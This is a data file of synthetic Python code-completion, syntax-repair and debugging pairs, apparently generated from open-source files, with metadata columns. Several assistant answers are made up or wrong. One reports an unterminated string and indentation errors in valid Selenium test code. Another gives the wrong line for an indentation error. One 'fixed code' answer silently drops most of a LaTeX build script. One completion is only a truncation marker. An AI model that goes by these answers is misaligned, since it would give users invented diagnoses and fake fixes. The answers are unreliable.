[{"role": "user", "content": "Complete this Pythoncode:Python code:\nimport os\n\nfrom pathlib import Path\nfrom datetime import timedelta\nfrom celery.schedules import crontab"}, {"role": "assistant", "content": "\nfrom django.utils.translation import gettext_lazy as _\n\n\n# Build paths inside the project like this: BASE_DIR / 'subdir'."}]
| false
| null | null | null |
866961c7ba40ad3796162e785a123e4decd9a074
|
TheStack--python--000.parquet
|
Fix this broken Pythoncode:Python code: import configparser import os dir_path = os.path.dirname(os.path.realpath(__file__)) dir_path += '/cfg.ini' class Configuration(object): def __init__(self,debug=False): section = "Flask-debug" if debug else "Flask" cfg = configparser.ConfigParser() cfg.read(dir_path if debug else "/var/www/html/flaskApp/cfg.ini") Error: IndentationError / Incomplete Function
|
Fixed Code: import configparser import os dir_path = os.path.dirname(os.path.realpath(__file__)) dir_path += '/cfg.ini' class Configuration(object): def __init__(self,debug=False): section = "Flask-debug" if debug else "Flask" cfg = configparser.ConfigParser() cfg.read(dir_path if debug else "/var/www/html/flaskApp/cfg.ini") self.debug = cfg.getboolean(section, "DEBUG") self.csrf_enabled = cfg.getboolean(section,"CSRF_ENABLED") self.threads_per_page = cfg.getint(section,"THREADS_PER_PAGE") self.port = cfg.getint(section,"PORT") Explanation: Complete the function '__init__' body and add missing return
|
advanced
|
machine_learning
|
error_fixing
|
Pythoncode:Python
| 1
| 1
| 357
| true
|
[{"role": "user", "content": "Fix this broken Pythoncode:Python code:\nimport configparser\nimport os\n\n\n\n\n\ndir_path = os.path.dirname(os.path.realpath(__file__))\ndir_path += '/cfg.ini'\n\nclass Configuration(object):\n def __init__(self,debug=False):\n section = \"Flask-debug\" if debug else \"Flask\"\n \n cfg = configparser.ConfigParser()\n cfg.read(dir_path if debug else \"/var/www/html/flaskApp/cfg.ini\")\n\n Error: IndentationError / Incomplete Function"}, {"role": "assistant", "content": " Fixed Code:\n\n\nimport configparser\nimport os\n\n\n\n\n\ndir_path = os.path.dirname(os.path.realpath(__file__))\ndir_path += '/cfg.ini'\n\nclass Configuration(object):\n def __init__(self,debug=False):\n section = \"Flask-debug\" if debug else \"Flask\"\n \n cfg = configparser.ConfigParser()\n cfg.read(dir_path if debug else \"/var/www/html/flaskApp/cfg.ini\")\n self.debug = cfg.getboolean(section, \"DEBUG\")\n self.csrf_enabled = cfg.getboolean(section,\"CSRF_ENABLED\")\n self.threads_per_page = cfg.getint(section,\"THREADS_PER_PAGE\")\n self.port = cfg.getint(section,\"PORT\")\n\n Explanation: Complete the function '__init__' body and add missing return"}]
| true
|
syntax
|
MID_FUNCTION
|
HIGH
|
866977a21872a2e8438dbbd5f5b289547da5a50c
|
TheStack--python--000.parquet
|
Complete this incomplete Pythoncode:Python code: # Copyright (C) 2014 eNovance SAS <licensing@enovance.com> # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. # from neutron_lib.db import model_base import sqlalchemy as sa from sqlalchemy import orm from neutron.common import constants as n_const from neutron.db.models import agent as agent_model from neutron.db import models_v2 class L3HARouterAgentPortBinding(model_base.BASEV2): """Represent agent binding state of a HA router port. A HA Router has one HA port per agent on which it is spawned. This binding table stores which port is used for a HA router by a ... code continues ...
|
Completion: Missing: Code truncated abruptly - unexpected end of file To complete: • Complete the truncated code structure Example continuation: L3 agent. """ __tablename__ = 'ha_router_agent_port_bindings' __table_args__ = (
|
advanced
|
api
|
incomplete_code
|
Pythoncode:Python
| 0
| 2
| 1,080
| true
|
[{"role": "user", "content": "Complete this incomplete Pythoncode:Python code:\n# Copyright (C) 2014 eNovance SAS <licensing@enovance.com>\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n#\n\nfrom neutron_lib.db import model_base\nimport sqlalchemy as sa\nfrom sqlalchemy import orm\n\nfrom neutron.common import constants as n_const\nfrom neutron.db.models import agent as agent_model\nfrom neutron.db import models_v2\n\n\nclass L3HARouterAgentPortBinding(model_base.BASEV2):\n \"\"\"Represent agent binding state of a HA router port.\n\n A HA Router has one HA port per agent on which it is spawned.\n This binding table stores which port is used for a HA router by a\n\n ... code continues ..."}, {"role": "assistant", "content": " Completion:\n\n Missing: Code truncated abruptly - unexpected end of file\n\n To complete:\n \u2022 Complete the truncated code structure\n\n Example continuation:\n L3 agent.\n \"\"\"\n\n __tablename__ = 'ha_router_agent_port_bindings'\n __table_args__ = ("}]
| true
|
syntax
|
HARD_CUT
|
CRITICAL
|
866b10a749a0729a15fdb56c60d4ea92a50f3344
|
TheStack--python--000.parquet
|
Repair the syntax errors in this Pythoncode:Python code: from flask import Flask; from configuration import Configuration; from flask_migrate import Migrate, init, migrate, upgrade; from models import database, Role, UserRole, User; from sqlalchemy_utils import database_exists, create_database; application = Flask(__name__); application.config.from_object(Configuration); migrateObject = Migrate(application, database); done = False; while not done: try: if not database_exists(application.config["SQLALCHEMY_DATABASE_URI"]): create_database(application.config["SQLALCHEMY_DATABASE_URI"]); database.init_app(application); with application.app_context() as context: init(); migrate(message="Production migration"); upgrade(); adminRole = Role(name="administrator"); userRole = Role(name="user"); database.session.add(adminRole); database.session.add(userRole); database.session.commit(); admin = User( jmbg="0000000000000", forename="admin", surname="admin", email="admin@admin.com", password="1" ); database.session.add(admin); database.session.commit(); userRole = UserRole( userId=admin.id, roleId=adminRole.id ); database.session.add(userRole); database.session.commit(); done = True; except Exception as err: print(err);
|
Syntax Analysis: Syntax Errors Found: • IndentationError at line 23 Fixes: • Fix indentation to match Python syntax rules
|
intermediate
|
database
|
syntax_repair
|
Pythoncode:Python
| 0
| 0
| 1,541
| true
|
[{"role": "user", "content": "Repair the syntax errors in this Pythoncode:Python code:\nfrom flask import Flask;\nfrom configuration import Configuration;\nfrom flask_migrate import Migrate, init, migrate, upgrade;\nfrom models import database, Role, UserRole, User;\nfrom sqlalchemy_utils import database_exists, create_database;\n\napplication = Flask(__name__);\napplication.config.from_object(Configuration);\n\nmigrateObject = Migrate(application, database);\n\ndone = False;\n\nwhile not done:\n try:\n if not database_exists(application.config[\"SQLALCHEMY_DATABASE_URI\"]):\n create_database(application.config[\"SQLALCHEMY_DATABASE_URI\"]);\n\n database.init_app(application);\n\n with application.app_context() as context:\n init();\n migrate(message=\"Production migration\");\n upgrade();\n\n adminRole = Role(name=\"administrator\");\n userRole = Role(name=\"user\");\n\n database.session.add(adminRole);\n database.session.add(userRole);\n database.session.commit();\n\n admin = User(\n jmbg=\"0000000000000\",\n forename=\"admin\",\n surname=\"admin\",\n email=\"admin@admin.com\",\n password=\"1\"\n );\n\n database.session.add(admin);\n database.session.commit();\n\n userRole = UserRole(\n userId=admin.id,\n roleId=adminRole.id\n );\n\ndatabase.session.add(userRole);\n database.session.commit();\n done = True;\n\n except Exception as err:\n print(err);"}, {"role": "assistant", "content": " Syntax Analysis:\n\n Syntax Errors Found:\n \u2022 IndentationError at line 23\n\n Fixes:\n \u2022 Fix indentation to match Python syntax rules"}]
| true
|
syntax
|
BROKEN_INDENTATION
|
MEDIUM
|
866b4e64606eb0b8b047d742a5c885f477addc0c
|
TheStack--python--000.parquet
|
Complete this Pythoncode:Python code: from __future__ import print_function import os import json import numpy as np
|
... [1 more functiondefs truncated] ...
|
beginner
|
general
|
code_completion
|
Pythoncode:Python
| 0
| 0
| 138
| true
|
[{"role": "user", "content": "Complete this Pythoncode:Python code:\nfrom __future__ import print_function\r\n\r\nimport os\r\nimport json\r\nimport numpy as np"}, {"role": "assistant", "content": "\n\r\n\r\n\n ... [1 more functiondefs truncated] ..."}]
| false
| null | null | null |
866b8b6db3282415cf332ea707795a1897c51203
|
TheStack--python--000.parquet
|
Debug this Pythoncode:Python code: # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from selenium.common.exceptions import NoSuchElementException from selenium.webdriver.common import by from openstack_dashboard.test.integration_tests.regions import baseregion ERROR = 'alert-danger' INFO = 'alert-info' SUCCESS = 'alert-success' class MessageRegion(baseregion.BaseRegion): _close_locator = (by.By.CSS_SELECTOR, 'a.close') def _msg_locator(self, level): return (by.By.CSS_SELECTOR, 'div.alert.%s' % level) def __init__(self, driver, conf, level=SUCCESS): self._default_src_locator = self._msg_locator(level) # NOTE(tsufiev): we cannot use self._turn_off_implicit_wait() at this # point, because the instance is not initialized by ancestor's __init__ driver.implicitly_wait(0) try: super(MessageRegion, self).__init__(driver, conf) except NoSuchElementException: self.src_elem = None finally: self._turn_on_implicit_wait() def exists(self): return self._is_element_displayed(self.src_elem) def close(self): self._get_element(*self._close_locator).click()
|
Code analysis results: 🔴 Errors found: Unterminated string literal at line 32 ⚠️ Warnings: Unexpected indentation at line 31 Unexpected indentation at line 32 Unexpected indentation at line 33 Unexpected indentation at line 34 💡 Suggestions: Add closing quote at line 32 Add docstring to class 'MessageRegion'
|
advanced
|
testing
|
debugging
|
Pythoncode:Python
| 4
| 1
| 1,687
| true
|
[{"role": "user", "content": "Debug this Pythoncode:Python code:\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom selenium.common.exceptions import NoSuchElementException\nfrom selenium.webdriver.common import by\n\nfrom openstack_dashboard.test.integration_tests.regions import baseregion\n\nERROR = 'alert-danger'\nINFO = 'alert-info'\nSUCCESS = 'alert-success'\n\n\nclass MessageRegion(baseregion.BaseRegion):\n _close_locator = (by.By.CSS_SELECTOR, 'a.close')\n\n def _msg_locator(self, level):\n return (by.By.CSS_SELECTOR, 'div.alert.%s' % level)\n\n def __init__(self, driver, conf, level=SUCCESS):\n self._default_src_locator = self._msg_locator(level)\n # NOTE(tsufiev): we cannot use self._turn_off_implicit_wait() at this\n # point, because the instance is not initialized by ancestor's __init__\n driver.implicitly_wait(0)\n try:\n super(MessageRegion, self).__init__(driver, conf)\n except NoSuchElementException:\n self.src_elem = None\n finally:\n self._turn_on_implicit_wait()\n\n def exists(self):\n return self._is_element_displayed(self.src_elem)\n\n def close(self):\n self._get_element(*self._close_locator).click()"}, {"role": "assistant", "content": " Code analysis results:\n\n\n\ud83d\udd34 Errors found:\n Unterminated string literal at line 32\n\n\u26a0\ufe0f Warnings:\n Unexpected indentation at line 31\n Unexpected indentation at line 32\n Unexpected indentation at line 33\n Unexpected indentation at line 34\n\n\ud83d\udca1 Suggestions:\n Add closing quote at line 32\n Add docstring to class 'MessageRegion'"}]
| false
| null | null | null |
866be250cb91ad06867da752bf60c3e580b71448
|
TheStack--python--000.parquet
|
Fix this broken Pythoncode:Python code: # -*- coding: utf-8 -*- import numpy as np #import cmath as cm # Main parameters for window # 'record_every': number of time_steps one between two consecutive record events def load_docks(): ''' Returns a dict to be used for plots declaration. Here, we use pyqtgraph docks. Each plot has a dictionnary as "value" with keys: "type" (accepted values: 'plot' and 'image'), "zoomOf" (key name of another dock), "position" (accepted values: 'bottom', 'top', 'left', 'right', 'above', or 'below'), "relativeTo" (optional, key name of another dock; position relative to another dock), size [(xlength,ylength); note that lengths arguments are only a suggestion; docks will still have to fill the entire dock area and obey the limits of their internal widgets], "labels" (dict of position:str), "title" (str). ''' docks = { 'plot1' : {'type': 'plot1D' , 'position': 'left' , 'size': (500,500), 'labels':{'bott Error: SyntaxError / EOF
|
Fixed Code: # -*- coding: utf-8 -*- import numpy as np #import cmath as cm # Main parameters for window # 'record_every': number of time_steps one between two consecutive record events def load_docks(): ''' Returns a dict to be used for plots declaration. Here, we use pyqtgraph docks. Each plot has a dictionnary as "value" with keys: "type" (accepted values: 'plot' and 'image'), "zoomOf" (key name of another dock), "position" (accepted values: 'bottom', 'top', 'left', 'right', 'above', or 'below'), "relativeTo" (optional, key name of another dock; position relative to another dock), size [(xlength,ylength); note that lengths arguments are only a suggestion; docks will still have to fill the entire dock area and obey the limits of their internal widgets], "labels" (dict of position:str), "title" (str). ''' docks = { 'plot1' : {'type': 'plot1D' , 'position': 'left' , 'size': (500,500), 'labels':{'bottom':'Time (arb. units)','left':'Intensity (arb. units)'}}, 'phase_space' : {'type': 'plot2D', 'position': 'right', 'size': (300,300)}, 'plot2' : {'type': 'plot1D' , 'zoomOf': 'plot1' , 'position': 'bottom', 'relativeTo': 'phase_space', 'size': (300,100)}, 'plot3' : {'type': 'plot1D', 'position': 'top','relativeTo':'phase_space', 'size': (300,300)}, 'custom_name' : {'type': 'image', 'position': 'above','relativeTo':'plot3', 'size': (300,300)}, } Explanation: Complete the truncated code structure
|
intermediate
|
ui
|
error_fixing
|
Pythoncode:Python
| 2
| 0
| 921
| true
|
[{"role": "user", "content": "Fix this broken Pythoncode:Python code:\n# -*- coding: utf-8 -*-\n\nimport numpy as np\n#import cmath as cm\n\n# Main parameters for window\n# 'record_every': number of time_steps one between two consecutive record events\n\ndef load_docks():\n\n ''' Returns a dict to be used for plots declaration. Here, we use pyqtgraph docks. Each plot has a dictionnary as \"value\" with keys: \"type\" (accepted values: 'plot' and 'image'), \"zoomOf\" (key name of another dock), \"position\" (accepted values: 'bottom', 'top', 'left', 'right', 'above', or 'below'), \"relativeTo\" (optional, key name of another dock; position relative to another dock), size [(xlength,ylength); note that lengths arguments are only a suggestion; docks will still have to fill the entire dock area and obey the limits of their internal widgets], \"labels\" (dict of position:str), \"title\" (str). '''\n\n docks = {\n 'plot1' : {'type': 'plot1D' , 'position': 'left' , 'size': (500,500), 'labels':{'bott\n\n Error: SyntaxError / EOF"}, {"role": "assistant", "content": " Fixed Code:\n\n\n# -*- coding: utf-8 -*-\n\nimport numpy as np\n#import cmath as cm\n\n# Main parameters for window\n# 'record_every': number of time_steps one between two consecutive record events\n\ndef load_docks():\n\n ''' Returns a dict to be used for plots declaration. Here, we use pyqtgraph docks. Each plot has a dictionnary as \"value\" with keys: \"type\" (accepted values: 'plot' and 'image'), \"zoomOf\" (key name of another dock), \"position\" (accepted values: 'bottom', 'top', 'left', 'right', 'above', or 'below'), \"relativeTo\" (optional, key name of another dock; position relative to another dock), size [(xlength,ylength); note that lengths arguments are only a suggestion; docks will still have to fill the entire dock area and obey the limits of their internal widgets], \"labels\" (dict of position:str), \"title\" (str). '''\n\n docks = {\n 'plot1' : {'type': 'plot1D' , 'position': 'left' , 'size': (500,500), 'labels':{'bottom':'Time (arb. units)','left':'Intensity (arb. units)'}},\n 'phase_space' : {'type': 'plot2D', 'position': 'right', 'size': (300,300)},\n 'plot2' : {'type': 'plot1D' , 'zoomOf': 'plot1' , 'position': 'bottom', 'relativeTo': 'phase_space', 'size': (300,100)},\n 'plot3' : {'type': 'plot1D', 'position': 'top','relativeTo':'phase_space', 'size': (300,300)},\n 'custom_name' : {'type': 'image', 'position': 'above','relativeTo':'plot3', 'size': (300,300)},\n }\n\n Explanation: Complete the truncated code structure"}]
| true
|
syntax
|
HARD_CUT
|
CRITICAL
|
866d362b7d20329b9a8556ff353eba1624b11b05
|
TheStack--python--000.parquet
|
Complete this Pythoncode:Python code: from multiprocessing import Pool import EnvEq as ee import numpy as np import itertools as it import os #parsing input into numpy arrays from input import * y0=np.array([y0_Tpos,y0_Tpro,y0_Tneg,y0_o2,y0_test]) p=np.array([p_o2,p_test]) mu=np.array([[mu_o2Tpos,mu_o2Tpro,mu_o2Tneg],[mu_testTpos,mu_testTpro,0]]) lam=np.array([lam_o2,lam_test]) t_D=np.array([t_DTpos,t_DTpro,t_DTneg]) r=np.array([r_Tpos,r_Tpro,r_Tneg]) delta=np.array([delta_Tpos,delta_Tpro,delta_Tneg]) rho=np.array([rho_Tpos,rho_Tpro,rho_Tneg]) lim=np.array([[[l_lim_o2Tpos,u_lim_o2Tpos],[l_lim_o2Tpro,u_lim_o2Tpro],[l_lim_o2Tneg,u_lim_o2Tneg]],[[l_lim_testTpos,u_lim_testTpos],[l_lim_testTpro,u_lim_testTpro],[0,0]]],dtype=np.float64) #make directories for saving raw_outputs try: os.makedirs("../../raw_output/EnvEq/"+f_name) except: pass #iterator over these
|
o2_lim_arr=np.empty([0,2]) for ulim_Tpro in np.arange(0.1,1,0.2): for ulim_Tneg in np.arange(0.1,1,0.2): o2_lim_arr=np.append(o2_lim_arr,[[ulim_Tpro,ulim_Tneg]],axis=0) def solve_parm(u_lim_o2): #calls the solve_eq function with all default inputs other than o2_lim f_name_i=f_name+"{:.1f}".format(u_lim_o2[0])+"-"+"{:.1f}".format(u_lim_o2[1]) lim[0,1,1]=u_lim_o2[0] lim[0,2,1]=u_lim_o2[1] ee.solve_eq(t_max,dt,y0,p,mu,lam,r,K,delta,rho,lim,f_name_i) if __name__ == '__main__': pool = Pool(4) pool.map(solve_parm,o2_lim_arr) #iterate over the o2_lims pool.close() pool.join()
|
intermediate
|
testing
|
code_completion
|
Pythoncode:Python
| 1
| 0
| 1,464
| true
|
[{"role": "user", "content": "Complete this Pythoncode:Python code:\nfrom multiprocessing import Pool\nimport EnvEq as ee\nimport numpy as np\nimport itertools as it\nimport os\n\n#parsing input into numpy arrays\nfrom input import *\ny0=np.array([y0_Tpos,y0_Tpro,y0_Tneg,y0_o2,y0_test])\np=np.array([p_o2,p_test])\nmu=np.array([[mu_o2Tpos,mu_o2Tpro,mu_o2Tneg],[mu_testTpos,mu_testTpro,0]])\nlam=np.array([lam_o2,lam_test])\nt_D=np.array([t_DTpos,t_DTpro,t_DTneg])\nr=np.array([r_Tpos,r_Tpro,r_Tneg])\ndelta=np.array([delta_Tpos,delta_Tpro,delta_Tneg])\nrho=np.array([rho_Tpos,rho_Tpro,rho_Tneg])\nlim=np.array([[[l_lim_o2Tpos,u_lim_o2Tpos],[l_lim_o2Tpro,u_lim_o2Tpro],[l_lim_o2Tneg,u_lim_o2Tneg]],[[l_lim_testTpos,u_lim_testTpos],[l_lim_testTpro,u_lim_testTpro],[0,0]]],dtype=np.float64)\n\n#make directories for saving raw_outputs\ntry:\n os.makedirs(\"../../raw_output/EnvEq/\"+f_name)\nexcept:\n pass\n\n#iterator over these"}, {"role": "assistant", "content": "\no2_lim_arr=np.empty([0,2])\nfor ulim_Tpro in np.arange(0.1,1,0.2):\n for ulim_Tneg in np.arange(0.1,1,0.2):\n o2_lim_arr=np.append(o2_lim_arr,[[ulim_Tpro,ulim_Tneg]],axis=0)\n\n\ndef solve_parm(u_lim_o2): #calls the solve_eq function with all default inputs other than o2_lim\n f_name_i=f_name+\"{:.1f}\".format(u_lim_o2[0])+\"-\"+\"{:.1f}\".format(u_lim_o2[1])\n lim[0,1,1]=u_lim_o2[0]\n lim[0,2,1]=u_lim_o2[1]\n ee.solve_eq(t_max,dt,y0,p,mu,lam,r,K,delta,rho,lim,f_name_i)\n\nif __name__ == '__main__':\n pool = Pool(4)\n pool.map(solve_parm,o2_lim_arr) #iterate over the o2_lims\n pool.close()\n pool.join()"}]
| false
| null | null | null |
866eb114075c78f8e3231df363ccab857402a80e
|
TheStack--python--000.parquet
|
Fill in the in this Pythoncode:Python code: import csv import re import numpy as np def KalmanFilter(z, n_iter=20): # 卡尔曼滤波 # 这里是假设A=1，H=1的情况 # intial parameters sz = (n_iter,) # size of array # Q = 1e-5 # process variance Q = 1e-6 # process variance # allocate space for arrays xhat = np.zeros(sz) # a posteri estimate of x P = np.zeros(sz) # a posteri error estimate xhatminus = np.zeros(sz) # a priori estimate of x Pminus = np.zeros(sz) # a priori error estimate # Complete this line R = 0.015 ** 2 # estimate of measurement variance, change to see effect # intial guesses xhat[0] = 0.0 P[0] = 1.0 A = 1 H = 1 for k in range(1, n_iter): # time update xhatminus[k] = A * xhat[k - 1] # X(k|k-1) = AX(k-1|k-1) + BU(k) + W(k),A=1,BU(k) = 0 Pminus[k] = A * P[k - 1] + Q # P(k|k-1) = AP(k-1|k-1)A' + Q(k) ,A=1 # measurement update K[k] = Pminus[k] / (Pminus[k] + R) # Kg(k)=P(k|k-1)H'/[HP(k|k-1)H' + R],H=1 xhat[k] = xhatminus[k] + K[k] * (z[k] - H * xhatminus[k]) # X(k|k) = X(k|k-1) + Kg(k)[Z(k) - HX(k|k-1)], H=1 P[k] = (1 - K[k] * H) * Pminus[k] # P(k|k) = (1 - Kg(k)H)P(k|k-1), H=1 return xhat ... [4 more functiondefs truncated] ...
|
The missing line is: K = np.zeros(sz) # gain or blending factor
|
intermediate
|
machine_learning
|
fill_in_the_blank
|
Pythoncode:Python
| 1
| 0
| 1,280
| true
|
[{"role": "user", "content": "Fill in the in this Pythoncode:Python code:\nimport csv\nimport re\nimport numpy as np\n\ndef KalmanFilter(z, n_iter=20):\n # \u5361\u5c14\u66fc\u6ee4\u6ce2\n # \u8fd9\u91cc\u662f\u5047\u8bbeA=1\uff0cH=1\u7684\u60c5\u51b5\n\n # intial parameters\n sz = (n_iter,) # size of array\n\n # Q = 1e-5 # process variance\n Q = 1e-6 # process variance\n # allocate space for arrays\n xhat = np.zeros(sz) # a posteri estimate of x\n P = np.zeros(sz) # a posteri error estimate\n xhatminus = np.zeros(sz) # a priori estimate of x\n Pminus = np.zeros(sz) # a priori error estimate\n # Complete this line\n\n R = 0.015 ** 2 # estimate of measurement variance, change to see effect\n\n # intial guesses\n xhat[0] = 0.0\n P[0] = 1.0\n A = 1\n H = 1\n\n for k in range(1, n_iter):\n # time update\n xhatminus[k] = A * xhat[k - 1] # X(k|k-1) = AX(k-1|k-1) + BU(k) + W(k),A=1,BU(k) = 0\n Pminus[k] = A * P[k - 1] + Q # P(k|k-1) = AP(k-1|k-1)A' + Q(k) ,A=1\n\n # measurement update\n K[k] = Pminus[k] / (Pminus[k] + R) # Kg(k)=P(k|k-1)H'/[HP(k|k-1)H' + R],H=1\n xhat[k] = xhatminus[k] + K[k] * (z[k] - H * xhatminus[k]) # X(k|k) = X(k|k-1) + Kg(k)[Z(k) - HX(k|k-1)], H=1\n P[k] = (1 - K[k] * H) * Pminus[k] # P(k|k) = (1 - Kg(k)H)P(k|k-1), H=1\n return xhat\n\n\n\n ... [4 more functiondefs truncated] ..."}, {"role": "assistant", "content": "The missing line is:\n K = np.zeros(sz) # gain or blending factor"}]
| false
| null | null | null |
866f56e685c4eea3f8e5c6a81ebbf185f955f32d
|
TheStack--python--000.parquet
|
Complete this incomplete Pythoncode:Python code: from .analyzer import ProgpilotAnalyzer from .issues_data import issues_data analyzers = { 'phpanlyzer' : { 'name' : 'phpanalyzer', ... code continues ...
|
Completion: Missing: Code truncated abruptly - unexpected end of file To complete: • Complete the truncated code structure Example continuation: 'class' : ProgpilotAnalyzer, 'language' : 'all', 'issues_data' : issues_data, }, }
|
intermediate
|
oop
|
incomplete_code
|
Pythoncode:Python
| 0
| 0
| 165
| true
|
[{"role": "user", "content": "Complete this incomplete Pythoncode:Python code:\nfrom .analyzer import ProgpilotAnalyzer\nfrom .issues_data import issues_data\n\nanalyzers = {\n 'phpanlyzer' :\n {\n 'name' : 'phpanalyzer',\n \n\n ... code continues ..."}, {"role": "assistant", "content": " Completion:\n\n Missing: Code truncated abruptly - unexpected end of file\n\n To complete:\n \u2022 Complete the truncated code structure\n\n Example continuation:\n 'class' : ProgpilotAnalyzer,\n 'language' : 'all',\n 'issues_data' : issues_data,\n },\n}"}]
| true
|
syntax
|
HARD_CUT
|
CRITICAL
|
866fc71e2531405289f44f8b89f61a0e57369c55
|
TheStack--python--000.parquet
|
Fix this broken Pythoncode:Python code: #!/usr/bin/env python import shutil, re, os, sys file_model = "Model.template" bookname = "TechNotes" file_bibtex = "thebib.bib" folder_target = "../pdf/" #if name is a chapter, return its sections def get_sections(name): if not os.path.isdir(name): return [] files = os.listdir(name) sections = [] for section in files: if re.match('.*\.tex$', section) and not re.match(".*lmz0610.*", section): sections.append(name + "/" + section) return sections def is_updated(pdffile, texfiles): def depend_modified(fname, ims): depend_mtime = os.path.getmtime(fname) if depend_mtime > ims: print pdffile, ' mtime: ',ims print fname, ' mtime: ', depend_mtime return True return False old_pdffile = folder_target + pdffile if not os.path.isfile(old_pdffile): return False pdf_mtime = os.path.getmtime(old_pdffile) #if depend_modified(sys.argv[0], pdf_mtime): #return False #if depend_modified(file_model, pdf_mtime): #return False for section in texfiles: if depend_modified(section, pdf_mtime): return False return True def remove_tmp(tmpname): if os.path.isfile(tmpname): os.remove(tmpname) def remove_latex_tmps(texname): remove_tmp(texname + ".pdf") remove_tmp(texname + ".tex") remove_tmp(texname + ".blg") remove_tmp(texname + ".bbl") remove_tmp(texname + ".out") remove_tmp(texname + ".toc") remove_tmp(texname + ".aux") remove_tmp(texname + ".idx") remove_tmp(texname + ".log") remove_tmp(texname + ".lof") remove_tmp(texname + ".lot") def read_bbl_file(object_name): file_bbl = object_name + ".bbl" if not os.path.isfile(file_bbl): return "" with open(file_bbl, 'r') as f: return f.read() #if depend_files contains citation def need_bibtex(object_name, depend_files): #if a file contains latex citation c Error: SyntaxError / EOF
|
Fixed Code: #!/usr/bin/env python import shutil, re, os, sys file_model = "Model.template" bookname = "TechNotes" file_bibtex = "thebib.bib" folder_target = "../pdf/" #if name is a chapter, return its sections def get_sections(name): if not os.path.isdir(name): return [] files = os.listdir(name) sections = [] for section in files: if re.match('.*\.tex$', section) and not re.match(".*lmz0610.*", section): sections.append(name + "/" + section) return sections Explanation: Complete the truncated code structure
|
advanced
|
machine_learning
|
error_fixing
|
Pythoncode:Python
| 9
| 0
| 1,994
| true
|
[{"role": "user", "content": "Fix this broken Pythoncode:Python code:\n#!/usr/bin/env python\n\nimport shutil, re, os, sys\n\nfile_model = \"Model.template\"\nbookname = \"TechNotes\"\nfile_bibtex = \"thebib.bib\"\nfolder_target = \"../pdf/\"\n\n#if name is a chapter, return its sections\ndef get_sections(name):\n if not os.path.isdir(name):\n return [] \n files = os.listdir(name)\n sections = []\n for section in files:\n if re.match('.*\\.tex$', section) and not re.match(\".*lmz0610.*\", section):\n sections.append(name + \"/\" + section)\n return sections\n\ndef is_updated(pdffile, texfiles):\n\n def depend_modified(fname, ims):\n depend_mtime = os.path.getmtime(fname)\n if depend_mtime > ims:\n print pdffile, ' mtime: ',ims \n print fname, ' mtime: ', depend_mtime\n return True \n return False\n\n\n old_pdffile = folder_target + pdffile\n if not os.path.isfile(old_pdffile): \n return False\n\n pdf_mtime = os.path.getmtime(old_pdffile)\n #if depend_modified(sys.argv[0], pdf_mtime):\n #return False\n #if depend_modified(file_model, pdf_mtime):\n #return False\n\n for section in texfiles:\n if depend_modified(section, pdf_mtime):\n return False\n\n return True \n\ndef remove_tmp(tmpname):\n if os.path.isfile(tmpname): \n os.remove(tmpname)\n\ndef remove_latex_tmps(texname):\n remove_tmp(texname + \".pdf\")\n remove_tmp(texname + \".tex\")\n remove_tmp(texname + \".blg\")\n remove_tmp(texname + \".bbl\")\n remove_tmp(texname + \".out\")\n remove_tmp(texname + \".toc\")\n remove_tmp(texname + \".aux\")\n remove_tmp(texname + \".idx\")\n remove_tmp(texname + \".log\")\n remove_tmp(texname + \".lof\")\n remove_tmp(texname + \".lot\")\n\n\ndef read_bbl_file(object_name):\n file_bbl = object_name + \".bbl\"\n if not os.path.isfile(file_bbl):\n return \"\"\n with open(file_bbl, 'r') as f:\n return f.read()\n\n#if depend_files contains citation\ndef need_bibtex(object_name, depend_files):\n #if a file contains latex citation c\n\n Error: SyntaxError / EOF"}, {"role": "assistant", "content": " Fixed Code:\n\n\n#!/usr/bin/env python\n\nimport shutil, re, os, sys\n\nfile_model = \"Model.template\"\nbookname = \"TechNotes\"\nfile_bibtex = \"thebib.bib\"\nfolder_target = \"../pdf/\"\n\n#if name is a chapter, return its sections\ndef get_sections(name):\n if not os.path.isdir(name):\n return [] \n files = os.listdir(name)\n sections = []\n for section in files:\n if re.match('.*\\.tex$', section) and not re.match(\".*lmz0610.*\", section):\n sections.append(name + \"/\" + section)\n return sections\n\n\n Explanation: Complete the truncated code structure"}]
| true
|
syntax
|
HARD_CUT
|
CRITICAL
|
8671b6a372caa3589eb77dcc566a9b3713aa80a9
|
TheStack--python--000.parquet
|
